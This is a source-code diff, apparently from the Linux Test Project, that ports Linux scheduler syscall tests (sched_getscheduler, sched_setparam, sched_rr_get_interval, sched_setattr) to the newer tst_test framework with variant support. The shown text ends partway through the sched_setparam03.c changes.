diff --git a/testcases/kernel/syscalls/sched_getscheduler/sched_getscheduler01.c b/testcases/kernel/syscalls/sched_getscheduler/sched_getscheduler01.c
index f6bdf1a..4191f09 100644
--- a/testcases/kernel/syscalls/sched_getscheduler/sched_getscheduler01.c
+++ b/testcases/kernel/syscalls/sched_getscheduler/sched_getscheduler01.c
@@ -1,129 +1,67 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) 2021, BELLSOFT. All rights reserved.
+ * Copyright (c) International Business Machines  Corp., 2001
  */
 
-/*
- * NAME
- *	sched_getscheduler01.C
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	Testcase to check sched_getscheduler() returns correct return value
+ * Testcase to check sched_getscheduler() returns correct return value.
  *
- * ALGORTIHM
- *	Call sched_setcheduler() to set the scheduling policy of the current
- *	process. Then call sched_getscheduler() to ensure that this is same
- *	as what set by the previous call to sched_setscheduler().
+ * [Algorithm]
  *
- *	Use SCHED_RR, SCHED_FIFO, SCHED_OTHER as the scheduling policies for
- *	sched_setscheduler().
+ * Call sched_setcheduler() to set the scheduling policy of the current
+ * process. Then call sched_getscheduler() to ensure that this is same
+ * as what set by the previous call to sched_setscheduler().
  *
- * USAGE:  <for command-line>
- *  sched_getscheduler01 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *             -i n : Execute test n times.
- *             -I x : Execute test for x seconds.
- *             -P x : Pause for x seconds between iterations.
- *             -t   : Turn on syscall timing.
+ * Use SCHED_RR, SCHED_FIFO, SCHED_OTHER as the scheduling policies for
+ * sched_setscheduler().
  *
- * RESTRICTION
- *	Must run test as root.
  */
 
 #include <errno.h>
-#include <sched.h>
 #include <stdio.h>
-#include "test.h"
 
-char *TCID = "sched_getscheduler01";
-int TST_TOTAL = 3;
+#include "tst_test.h"
+#include "tst_sched.h"
 
-void setup(void);
-void cleanup(void);
-
-struct test_case_t {
-	int prio;
+struct test_cases_t {
+	int priority;
 	int policy;
-} TC[] = {
-	/* set scheduling policy to SCHED_RR */
-	{
-	1, SCHED_RR},
-	    /* set scheduling policy to SCHED_OTHER */
-	{
-	0, SCHED_OTHER},
-	    /* set scheduling policy to SCHED_FIFO */
-	{
-	1, SCHED_FIFO}
+} tcases[] = {
+	{1, SCHED_RR},
+	{0, SCHED_OTHER},
+	{1, SCHED_FIFO}
 };
 
-int main(int ac, char **av)
+static void run(unsigned int n)
 {
-	int lc;
-	int i;
-	struct sched_param param;
+	struct sched_variant *tv = &sched_variants[tst_variant];
+	struct test_cases_t *tc = &tcases[n];
+	struct sched_param p = { .sched_priority = tc->priority };
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	TST_EXP_PASS_SILENT(tv->sched_setscheduler(0, tc->policy, &p));
 
-	setup();
+	if (!TST_PASS)
+		return;
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++) {
-
-			param.sched_priority = TC[i].prio;
-
-			if (sched_setscheduler(0, TC[i].policy, &param) == -1)
-				tst_brkm(TBROK, cleanup,
-					 "sched_setscheduler failed");
-
-			TEST(sched_getscheduler(0));
-
-			if (TEST_RETURN == -1) {
-				tst_resm(TFAIL, "call failed unexpectedly");
-				continue;
-			}
-
-			if (TEST_RETURN != TC[i].policy)
-				tst_resm(TFAIL,
-					 "policy value returned is not "
-					 "correct");
-			else
-				tst_resm(TPASS,
-					 "policy value returned is correct");
-		}
-	}
-
-	cleanup();
-	tst_exit();
+	TEST(tv->sched_getscheduler(0));
+	if (TST_RET == tc->policy)
+		tst_res(TPASS, "got expected policy %d", tc->policy);
+	else
+		tst_res(TFAIL | TERRNO, "got policy %ld, expected %d", TST_RET, tc->policy);
 }
 
-void setup(void)
+static void setup(void)
 {
-
-	tst_require_root();
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
+	tst_res(TINFO, "Testing %s variant", sched_variants[tst_variant].desc);
 }
 
-void cleanup(void)
-{
-}
+static struct tst_test test = {
+	.needs_root = 1,
+	.setup = setup,
+	.test_variants = ARRAY_SIZE(sched_variants),
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = run,
+};
diff --git a/testcases/kernel/syscalls/sched_getscheduler/sched_getscheduler02.c b/testcases/kernel/syscalls/sched_getscheduler/sched_getscheduler02.c
index c432401..98818ff 100644
--- a/testcases/kernel/syscalls/sched_getscheduler/sched_getscheduler02.c
+++ b/testcases/kernel/syscalls/sched_getscheduler/sched_getscheduler02.c
@@ -1,106 +1,40 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) 2021, BELLSOFT. All rights reserved.
+ * Copyright (c) International Business Machines  Corp., 2001
  */
 
-/*
- * NAME
- *	sched_getscheduler02.C
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	To check for the errno ESRCH
- *
- * ALGORITHM
- *	Pass an invalid pid to sched_getscheduler() and test for ESRCH.
- *
- * USAGE:  <for command-line>
- *  sched_getscheduler02 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *             -i n : Execute test n times.
- *             -I x : Execute test for x seconds.
- *             -P x : Pause for x seconds between iterations.
- *             -t   : Turn on syscall timing.
- *
- * RESTRICTION
- *	None
+ * Pass an unused pid to sched_getscheduler() and test for ESRCH.
  */
 
 #include <stdio.h>
-#include <sched.h>
 #include <errno.h>
-#include "test.h"
 
-char *TCID = "sched_getscheduler02";
-int TST_TOTAL = 1;
+#include "tst_test.h"
+#include "tst_sched.h"
 
 static pid_t unused_pid;
 
-void setup(void);
-void cleanup(void);
-
-int main(int ac, char **av)
+static void setup(void)
 {
-	int lc;
+	tst_res(TINFO, "Testing %s variant", sched_variants[tst_variant].desc);
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		TEST(sched_getscheduler(unused_pid));
-
-		if (TEST_RETURN != -1) {
-			tst_resm(TFAIL, "sched_getscheduler(2) passed "
-				 "unexpectedly");
-			continue;
-		}
-
-		if (errno != ESRCH) {
-			tst_resm(TFAIL, "Expected ESRCH, got %d", errno);
-		} else {
-			tst_resm(TPASS, "call failed with ESRCH");
-		}
-	}
-	cleanup();
-	tst_exit();
-
+	unused_pid = tst_get_unused_pid();
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
+static void run(void)
 {
-	unused_pid = tst_get_unused_pid(cleanup);
+	struct sched_variant *tv = &sched_variants[tst_variant];
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
+	TST_EXP_FAIL(tv->sched_getscheduler(unused_pid), ESRCH,
+		     "sched_getscheduler(%d)", unused_pid);
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *	       completion or premature exit.
- */
-void cleanup(void)
-{
-
-}
+static struct tst_test test = {
+	.setup = setup,
+	.test_variants = ARRAY_SIZE(sched_variants),
+	.test_all = run,
+};
diff --git a/testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval01.c b/testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval01.c
index 5da5fe5..4472421 100644
--- a/testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval01.c
+++ b/testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval01.c
@@ -11,9 +11,9 @@
  * timeslice tuning knob in milliseconds").
  */
 
-#include <sched.h>
 #include "time64_variants.h"
 #include "tst_timer.h"
+#include "tst_sched.h"
 
 #define PROC_SCHED_RR_TIMESLICE_MS	"/proc/sys/kernel/sched_rr_timeslice_ms"
 static int proc_flag;
@@ -41,7 +41,7 @@
 
 	tp.type = tv->ts_type;
 
-	if ((sched_setscheduler(0, SCHED_RR, &p)) == -1)
+	if ((sys_sched_setscheduler(0, SCHED_RR, &p)) == -1)
 		tst_res(TFAIL | TERRNO, "sched_setscheduler() failed");
 
 	proc_flag = !access(PROC_SCHED_RR_TIMESLICE_MS, F_OK);
diff --git a/testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval02.c b/testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval02.c
index 9a0b867..15e4a30 100644
--- a/testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval02.c
+++ b/testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval02.c
@@ -8,9 +8,9 @@
  * for tv_sec & tv_nsec.
  */
 
-#include <sched.h>
 #include "time64_variants.h"
 #include "tst_timer.h"
+#include "tst_sched.h"
 
 static struct tst_ts tp;
 
@@ -35,7 +35,7 @@
 
 	tp.type = tv->ts_type;
 
-	if ((sched_setscheduler(0, SCHED_FIFO, &p)) == -1)
+	if ((sys_sched_setscheduler(0, SCHED_FIFO, &p)) == -1)
 		tst_res(TFAIL | TERRNO, "sched_setscheduler() failed");
 }
 
diff --git a/testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval03.c b/testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval03.c
index 0c9887f..f5a88f0 100644
--- a/testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval03.c
+++ b/testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval03.c
@@ -12,9 +12,9 @@
  *     address specified as &tp is invalid
  */
 
-#include <sched.h>
 #include "time64_variants.h"
 #include "tst_timer.h"
+#include "tst_sched.h"
 
 static pid_t unused_pid;
 static pid_t inval_pid = -1;
@@ -55,7 +55,7 @@
 	bad_addr = tst_get_bad_addr(NULL);
 	tp.type = tv->ts_type;
 
-	if ((sched_setscheduler(0, SCHED_RR, &p)) == -1)
+	if ((sys_sched_setscheduler(0, SCHED_RR, &p)) == -1)
 		tst_res(TFAIL | TERRNO, "sched_setscheduler() failed");
 
 	unused_pid = tst_get_unused_pid();
@@ -67,23 +67,19 @@
 	struct test_cases_t *tc = &test_cases[i];
 	struct timerspec *ts;
 
+	if (tc->exp_errno == EFAULT
+		&& tv->sched_rr_get_interval == libc_sched_rr_get_interval) {
+		tst_res(TCONF, "EFAULT skipped for libc_variant");
+		return;
+	}
+
 	if (tc->exp_errno == EFAULT)
 		ts = bad_addr;
 	else
 		ts = tst_ts_get(tc->tp);
 
-	TEST(tv->sched_rr_get_interval(*tc->pid, ts));
-
-	if (TST_RET != -1) {
-		tst_res(TFAIL, "sched_rr_get_interval() passed unexpectedly");
-		return;
-	}
-
-	if (tc->exp_errno == TST_ERR)
-		tst_res(TPASS | TTERRNO, "sched_rr_get_interval() failed as expected");
-	else
-		tst_res(TFAIL | TTERRNO, "sched_rr_get_interval() failed unexpectedly: %s",
-			tst_strerrno(tc->exp_errno));
+	TST_EXP_FAIL(tv->sched_rr_get_interval(*tc->pid, ts), tc->exp_errno,
+	             "sched_rr_get_interval(%i, %p)", *tc->pid, ts);
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c b/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c
index 37ca56a..d5178e0 100644
--- a/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c
+++ b/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c
@@ -29,7 +29,6 @@
 #include <linux/types.h>
 #include <sys/syscall.h>
 #include <pthread.h>
-#include <sched.h>
 #include <errno.h>
 
 #include "test.h"
@@ -37,7 +36,6 @@
 
 char *TCID = "sched_setattr01";
 
-#define SCHED_DEADLINE	6
 #define RUNTIME_VAL 10000000
 #define PERIOD_VAL 30000000
 #define DEADLINE_VAL 30000000
diff --git a/testcases/kernel/syscalls/sched_setparam/sched_setparam01.c b/testcases/kernel/syscalls/sched_setparam/sched_setparam01.c
index a2272eb..df789e9 100644
--- a/testcases/kernel/syscalls/sched_setparam/sched_setparam01.c
+++ b/testcases/kernel/syscalls/sched_setparam/sched_setparam01.c
@@ -1,128 +1,37 @@
+// SPDX-License-Identifier: GPL-2.0-only
 /*
+ * Copyright (c) 2021, BELLSOFT. All rights reserved.
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
+ * AUTHOR: Saji Kumar.V.R <saji.kumar@wipro.com>
  */
-/**********************************************************
+
+/*\
+ * [Description]
  *
- *    TEST IDENTIFIER	: sched_setparam01
+ * Basic test for sched_setparam(2)
  *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Basic test for sched_setparam(2)
- *
- *    TEST CASE TOTAL	: 1
- *
- *    AUTHOR		: Saji Kumar.V.R <saji.kumar@wipro.com>
- *
- *    SIGNALS
- * 	Uses SIGUSR1 to pause before test if option set.
- * 	(See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- *	This is a Phase I test for the sched_setparam(2) system call.
- *	It is intended to provide a limited exposure of the system call.
- *
- * 	Setup:
- * 	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- * 	Test:
- *	 Loop if the proper options are given.
- * 	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- * 	Cleanup:
- * 	  Print errno log and/or timing stats if options given
- *
- * USAGE:  <for command-line>
- *  sched_setparam01 [-c n] [-e] [-i n] [-I x] [-P x] [-t] [-h] [-f] [-p]
- *			where,  -c n : Run n copies concurrently.
- *				-e   : Turn on errno logging.
- *				-h   : Show help screen
- *				-f   : Turn off functional testing
- *				-i n : Execute test n times.
- *				-I x : Execute test for x seconds.
- *				-p   : Pause for SIGUSR1 before starting
- *				-P x : Pause for x seconds between iterations.
- *				-t   : Turn on syscall timing.
- *
- ****************************************************************/
-
-#include <errno.h>
-#include <sched.h>
-#include "test.h"
-
-static void setup();
-static void cleanup();
-
-char *TCID = "sched_setparam01";
-int TST_TOTAL = 1;
-
-static struct sched_param param;
-
-int main(int ac, char **av)
-{
-
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * Call sched_setparam(2) with pid=0 sothat it will
-		 * set the scheduling parameters for the calling process
-		 */
-		TEST(sched_setparam(0, &param));
-
-		if (TEST_RETURN == 0) {
-			tst_resm(TPASS, "sched_setparam() returned %ld",
-				 TEST_RETURN);
-		} else {
-			tst_resm(TFAIL | TTERRNO,
-				 "Test Failed, sched_setparam()" "returned %ld",
-				 TEST_RETURN);
-		}
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-/* setup() - performs all ONE TIME setup for this test */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	param.sched_priority = 0;
-
-}
-
-/*
- *cleanup() -  performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
+ * Call sched_setparam(2) with pid=0 so that it will
+ * set the scheduling parameters for the calling process
  */
-void cleanup(void)
+
+#include "tst_test.h"
+#include "tst_sched.h"
+
+static void run(void)
 {
+	struct sched_variant *tv = &sched_variants[tst_variant];
+	struct sched_param p = { .sched_priority = 0 };
+
+	TST_EXP_PASS(tv->sched_setparam(0, &p), "sched_setparam(0, 0)");
 }
+
+static void setup(void)
+{
+	tst_res(TINFO, "Testing %s variant", sched_variants[tst_variant].desc);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test_variants = ARRAY_SIZE(sched_variants),
+	.test_all = run,
+};
diff --git a/testcases/kernel/syscalls/sched_setparam/sched_setparam02.c b/testcases/kernel/syscalls/sched_setparam/sched_setparam02.c
index 132cc9d..b71c51c 100644
--- a/testcases/kernel/syscalls/sched_setparam/sched_setparam02.c
+++ b/testcases/kernel/syscalls/sched_setparam/sched_setparam02.c
@@ -1,184 +1,68 @@
+// SPDX-License-Identifier: GPL-2.0-only
 /*
+ * Copyright (c) 2021, BELLSOFT. All rights reserved.
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ * AUTHOR: Saji Kumar.V.R <saji.kumar@wipro.com>
  */
-/**********************************************************
- *
- *    TEST IDENTIFIER	: sched_setparam02
- *
- *    EXECUTED BY	: root / superuser
- *
- *    TEST TITLE	: Checks functionality for sched_setparam(2)
- *
- *    TEST CASE TOTAL	: 1
- *
- *    AUTHOR		: Saji Kumar.V.R <saji.kumar@wipro.com>
- *
- *    SIGNALS
- * 	Uses SIGUSR1 to pause before test if option set.
- * 	(See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- *	This test changes the scheduling priority for current process
- *	and verifies it by calling sched_getparam().
- *
- * 	Setup:
- * 	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *	  Change scheduling policy to SCHED_FIFO
- *
- * 	Test:
- *	 Loop if the proper options are given.
- * 	  Execute system call
- *	  If scheduling priority is set properly,
- *		TEST passed
- *	  else
- *		TEST failed
- *
- * 	Cleanup:
- * 	  Print errno log and/or timing stats if options given
- *
- * USAGE:  <for command-line>
- *  sched_setparam02 [-c n] [-e] [-i n] [-I x] [-P x] [-t] [-h] [-f] [-p]
- *			where,  -c n : Run n copies concurrently.
- *				-e   : Turn on errno logging.
- *				-h   : Show help screen
- *				-f   : Turn off functional testing
- *				-i n : Execute test n times.
- *				-I x : Execute test for x seconds.
- *				-p   : Pause for SIGUSR1 before starting
- *				-P x : Pause for x seconds between iterations.
- *				-t   : Turn on syscall timing.
- *
- ****************************************************************/
 
-#include <errno.h>
-#include <sched.h>
-#include "test.h"
+/*\
+ * [Description]
+ *
+ * Checks functionality for sched_setparam(2)
+ *
+ * This test changes the scheduling priority for current process
+ * and verifies it by calling sched_getparam().
+ */
+
+#include "tst_test.h"
+#include "tst_sched.h"
 
 #define FIFO_OR_RR_PRIO 5
 #define OTHER_PRIO 0
 
-static void setup();
-static void cleanup();
-static int verify_priority(int);
-
-char *TCID = "sched_setparam02";
-
-static struct sched_param param;
-static struct sched_param param1 = { 1 };
-
 static struct test_cases_t {
 	char *desc;
 	int policy;
 	int priority;
-} testcases[] = {
+	int param;
+} tcases[] = {
 	{
-	"Test with policy SCHED_FIFO", SCHED_FIFO, FIFO_OR_RR_PRIO}, {
-	"Test with policy SCHED_RR", SCHED_RR, FIFO_OR_RR_PRIO}, {
-	"Test with SCHED_OTHER", SCHED_OTHER, OTHER_PRIO}
+	"Test with policy SCHED_FIFO", SCHED_FIFO, FIFO_OR_RR_PRIO, 1}, {
+	"Test with policy SCHED_RR", SCHED_RR, FIFO_OR_RR_PRIO, 1}, {
+	"Test with SCHED_OTHER", SCHED_OTHER, OTHER_PRIO, 0}
 };
 
-int TST_TOTAL = sizeof(testcases) / sizeof(testcases[0]);
-
-int main(int ac, char **av)
+static void run(unsigned int n)
 {
+	struct test_cases_t *tc = &tcases[n];
+	struct sched_variant *tv = &sched_variants[tst_variant];
+	struct sched_param p = { .sched_priority = tc->param };
 
-	int lc, i;
+	TST_EXP_PASS_SILENT(tv->sched_setscheduler(0, tc->policy, &p));
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	p.sched_priority = tc->priority;
+	TST_EXP_PASS_SILENT(tv->sched_setparam(0, &p));
 
-	setup();
+	p.sched_priority = -1;
+	TST_EXP_PASS_SILENT(tv->sched_getparam(0, &p));
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; ++i) {
-
-			if (i == 2) {
-				param1.sched_priority = 0;
-			} else {
-				param1.sched_priority = 1;
-			}
-			if ((sched_setscheduler(0, testcases[i].policy,
-						&param1)) == -1) {
-				tst_brkm(TBROK, cleanup, "sched_setscheduler()"
-					 "  failed");
-			}
-			param.sched_priority = testcases[i].priority;
-			/*
-			 * Call sched_setparam(2) with pid=0 sothat it will
-			 * set the scheduling parameters for the calling process
-			 */
-			TEST(sched_setparam(0, &param));
-
-			if ((TEST_RETURN == 0) && (verify_priority(i))) {
-				tst_resm(TPASS, "%s Passed", testcases[i].desc);
-			} else {
-				tst_resm(TFAIL | TTERRNO,
-					 "%s Failed. sched_setparam()"
-					 " returned %ld", testcases[i].desc,
-					 TEST_RETURN);
-			}
-		}
+	if (p.sched_priority == tc->priority) {
+		tst_res(TPASS, "got expected priority %d", p.sched_priority);
+	} else {
+		tst_res(TFAIL, "unexpected priority value %d, expected %d",
+			p.sched_priority, tc->priority);
 	}
-
-	/* cleanup and exit */
-	cleanup();
-
-	tst_exit();
-
 }
 
-/* setup() - performs all ONE TIME setup for this test */
-void setup(void)
+static void setup(void)
 {
-	tst_require_root();
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
+	tst_res(TINFO, "Testing %s variant", sched_variants[tst_variant].desc);
 }
 
-/*
- *cleanup() -  performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- */
-void cleanup(void)
-{
-}
-
-/*
- * verify_priority() -  This function checks whether the priority is
- *			set correctly
- */
-int verify_priority(int i)
-{
-	struct sched_param p;
-
-	if ((sched_getparam(0, &p)) == 0) {
-		if (p.sched_priority == testcases[i].priority) {
-			return 1;
-		} else {
-			tst_resm(TWARN, "sched_getparam() returned priority"
-				 " value as %d", p.sched_priority);
-			return 0;
-		}
-	}
-
-	tst_resm(TWARN, "sched_getparam() failed");
-	return 0;
-}
+static struct tst_test test = {
+	.needs_root = 1,
+	.setup = setup,
+	.test = run,
+	.test_variants = ARRAY_SIZE(sched_variants),
+	.tcnt = ARRAY_SIZE(tcases),
+};
diff --git a/testcases/kernel/syscalls/sched_setparam/sched_setparam03.c b/testcases/kernel/syscalls/sched_setparam/sched_setparam03.c
index 252364e..759b790 100644
--- a/testcases/kernel/syscalls/sched_setparam/sched_setparam03.c
+++ b/testcases/kernel/syscalls/sched_setparam/sched_setparam03.c
@@ -1,196 +1,61 @@
+// SPDX-License-Identifier: GPL-2.0-only
 /*
+ * Copyright (c) 2021, BELLSOFT. All rights reserved.
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
+ * AUTHOR: Saji Kumar.V.R <saji.kumar@wipro.com>
  */
-/**********************************************************
- *
- *    TEST IDENTIFIER	: sched_setparam03
- *
- *    EXECUTED BY	: root / superuser
- *
- *    TEST TITLE	: Checks functionality for sched_setparam(2) for pid!=0
- *
- *    TEST CASE TOTAL	: 1
- *
- *    AUTHOR		: Saji Kumar.V.R <saji.kumar@wipro.com>
- *
- *    SIGNALS
- * 	Uses SIGUSR1 to pause before test if option set.
- * 	(See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- *	This test forks a child & changes its parent's scheduling priority
- *
- * 	Setup:
- * 	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *	  Change scheduling policy to SCHED_FIFO
- *
- * 	Test:
- *	 Loop if the proper options are given.
- *	 Fork a child
- *
- *	 CHILD:
- *	  Changes scheduling priority for parent
- *
- *	 PARENT:
- *	  If scheduling priority is set properly,
- *		TEST passed
- *	  else
- *		TEST failed
- *
- * 	Cleanup:
- * 	  Print errno log and/or timing stats if options given
- *
- * USAGE:  <for command-line>
- *  sched_setparam03 [-c n] [-e] [-i n] [-I x] [-P x] [-t] [-h] [-f] [-p]
- *			where,  -c n : Run n copies concurrently.
- *				-e   : Turn on errno logging.
- *				-h   : Show help screen
- *				-f   : Turn off functional testing
- *				-i n : Execute test n times.
- *				-I x : Execute test for x seconds.
- *				-p   : Pause for SIGUSR1 before starting
- *				-P x : Pause for x seconds between iterations.
- *				-t   : Turn on syscall timing.
- *
- ****************************************************************/
 
-#include <err.h>
-#include <errno.h>
-#include <sched.h>
-#include <sys/wait.h>
-#include "test.h"
+/*\
+ * [Description]
+ *
+ * Checks functionality for sched_setparam(2) for pid != 0
+ *
+ * This test forks a child and changes its parent's scheduling priority.
+ */
 
-#define NEW_PRIORITY 5
+#include <stdlib.h>
 
-static void setup();
-static void cleanup();
-static int verify_priority();
+#include "tst_test.h"
+#include "tst_sched.h"
 
-char *TCID = "sched_setparam03";
-int TST_TOTAL = 1;
-
-static struct sched_param param = { NEW_PRIORITY };
-
-int main(int ac, char **av)
+static void run(void)
 {
-
-	int lc;
-	int status;
+	struct sched_variant *tv = &sched_variants[tst_variant];
+	struct sched_param p5 = { .sched_priority = 5 };
+	struct sched_param p;
 	pid_t child_pid;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	child_pid = SAFE_FORK();
 
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		switch (child_pid = FORK_OR_VFORK()) {
-
-		case -1:
-			/* fork() failed */
-			tst_resm(TFAIL, "fork() failed");
-			continue;
-
-		case 0:
-			/* Child */
-
-			/*
-			 * Call sched_setparam(2) with pid = getppid() so that
-			 * it will set the scheduling parameters for parent
-			 * process
-			 */
-			TEST(sched_setparam(getppid(), &param));
-
-			if (TEST_RETURN == -1) {
-				err(0, "sched_setparam returned %ld",
-				    TEST_RETURN);
-			}
-			exit(1);
-
-		default:
-			/* Parent */
-			if ((waitpid(child_pid, &status, 0)) < 0) {
-				tst_resm(TFAIL, "wait() failed");
-				continue;
-			}
-
-			/*
-			 * Verify that parent's scheduling priority has
-			 * changed.
-			 */
-			if ((WIFEXITED(status)) && (WEXITSTATUS(status)) &&
-			    (verify_priority())) {
-				tst_resm(TPASS, "Test Passed");
-			} else {
-				tst_resm(TFAIL, "Test Failed");
-			}
-		}
+	if (!child_pid) {
+		TST_EXP_PASS_SILENT(tv->sched_setparam(getppid(), &p5));
+		exit(0);
 	}
+	tst_reap_children();
 
-	cleanup();
-	tst_exit();
+	TST_EXP_PASS_SILENT(tv->sched_getparam(0, &p));
+
+	if (p.sched_priority == p5.sched_priority)
+		tst_res(TPASS, "got expected priority %d", p.sched_priority);
+	else
+		tst_res(TFAIL, "got priority %d, expected 5", p.sched_priority);
 }
 
-/* setup() - performs all ONE TIME setup for this test */
 void setup(void)
 {
-	struct sched_param p = { 1 };
+	struct sched_variant *tv = &sched_variants[tst_variant];
+	struct sched_param p = { .sched_priority = 1 };
 
-	tst_require_root();
+	tst_res(TINFO, "Testing %s variant", tv->desc);
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* Change scheduling policy to SCHED_FIFO */
-	if ((sched_setscheduler(0, SCHED_FIFO, &p)) == -1) {
-		tst_brkm(TBROK, cleanup, "sched_setscheduler() failed");
-	}
-
+	if (tv->sched_setscheduler(0, SCHED_FIFO, &p))
+		tst_brk(TBROK | TERRNO, "sched_setcheduler(0, SCHED_FIFO, 1)");
 }
 
-/*
- *cleanup() -   performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- */
-void cleanup(void)
-{
-}
-
-/*
- * verify_priority() -  This function checks whether the priority is
- *			set correctly
- */
-int verify_priority(void)
-{
-	struct sched_param p;
-
-	if ((sched_getparam(0, &p)) == 0) {
-		if (p.sched_priority == NEW_PRIORITY) {
-			return 1;
-		} else {
